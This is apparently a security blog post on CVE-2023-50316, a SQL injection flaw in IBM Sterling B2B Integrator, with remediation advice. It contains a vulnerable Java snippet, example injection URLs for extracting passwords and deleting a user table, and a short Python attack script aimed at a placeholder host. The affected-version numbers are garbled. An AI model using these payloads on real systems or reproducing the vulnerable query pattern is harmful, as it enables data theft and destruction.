In late 2023, a critical vulnerability was found in IBM Sterling B2B Integrator—one of the most widely used solutions for secure business-to-business data transfer. The flaw, tagged as CVE-2023-50316, is a SQL injection vulnerability that directly threatens the confidentiality and integrity of your business data.

This post breaks down the vulnerability, shows how an attacker could exploit it, and discusses how you can defend your systems.

6.2.. through 6.2..1

If you’re running any of these, your installation is vulnerable.

What Is SQL Injection, Anyway?

SQL injection happens when a web application fails to properly sanitize user input, letting hackers craft their own database queries. In this case, an attacker can view, change, add, or outright delete critical business data—just by sending a few tricky requests.

The Core Issue (In Simple Terms)

IBM Sterling B2B Integrator allows users to send certain data fields that, due to improper validation, end up directly in SQL statements. As a result, attackers can include additional SQL code—effectively hijacking the database query.

Imagine a simple web search feature that plugs user input straight into the database query without any filters. Hackers can then run their own commands.

The offending code might look something like this (simplified for clarity)

// BAD CODE! Vulnerable to SQL Injection
String user = request.getParameter("user");
String sql = "SELECT * FROM B2B_USERS WHERE username = '" + user + "';";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

If someone sends in user=admin' --, the query a database sees becomes

SELECT * FROM B2B_USERS WHERE username = 'admin' --';

That ' -- cuts off the rest of the query, possibly revealing user data.

Exploit Details

According to the IBM Security Bulletin and the official NIST CVE entry, remote attackers don’t need any authentication. They can trigger the bug via crafted HTTP requests or web forms exposed by Sterling B2B Integrator.

Say, an attacker notices a user search function at

https://b2b-server.example.com/searchUser?user=admin

They try adding a single quote

https://b2b-server.example.com/searchUser?user=admin'

If the server throws a database error, the input is probably unsanitized—a sign that SQL Injection is in play.

The attacker can now modify the value to extract sensitive info. For example

https://b2b-server.example.com/searchUser?user=admin' UNION SELECT password,1 FROM B2B_USERS--

If the application displays the results raw, the attacker could see all passwords.

Example Python Exploit

import requests

url = "https://b2b-server.example.com/searchUser";
payload = "' UNION SELECT username, password FROM B2B_USERS--"
r = requests.get(url, params={"user": payload})

print(r.text)  # Look for leaked data

> Note: This is a generic example to illustrate the attack process. Actual parameters and table names may differ in real-world scenarios.

3. Data Manipulation

Attackers can go beyond reading data; they could also update, insert, or delete records. Example with a destructive payload:

https://b2b-server.example.com/searchUser?user=admin'; DELETE FROM B2B_USERS;--

How to Fix and Defend

IBM’s official guidance:
Apply the latest fix packs and security updates. IBM has released patches addressing this vulnerability.

Update immediately. If you use a vulnerable version, patch ASAP.

2. Sanitize Input. Never use unsanitized user data in SQL queries. Use prepared statements or parameterized queries.
3. Restrict Exposure. Don’t expose your B2B Integrator login or search pages to the public internet.
4. Monitor Logs. Check your logs for suspicious input patterns, such as single quotes or "UNION SELECT" in query parameters.

References

- IBM Security Bulletin: SQL Injection vulnerability in IBM Sterling B2B Integrator (CVE-2023-50316)
- NIST National Vulnerability Database: CVE-2023-50316

Conclusion

CVE-2023-50316 in IBM Sterling B2B Integrator is a nasty SQL Injection flaw that leaves sensitive enterprise data wide open to remote attackers. Remediate as soon as possible—SQL injection attacks are brutally simple and devastating. Always keep your systems updated and code defensively.

Timeline

Published on: 01/28/2025 01:15:08 UTC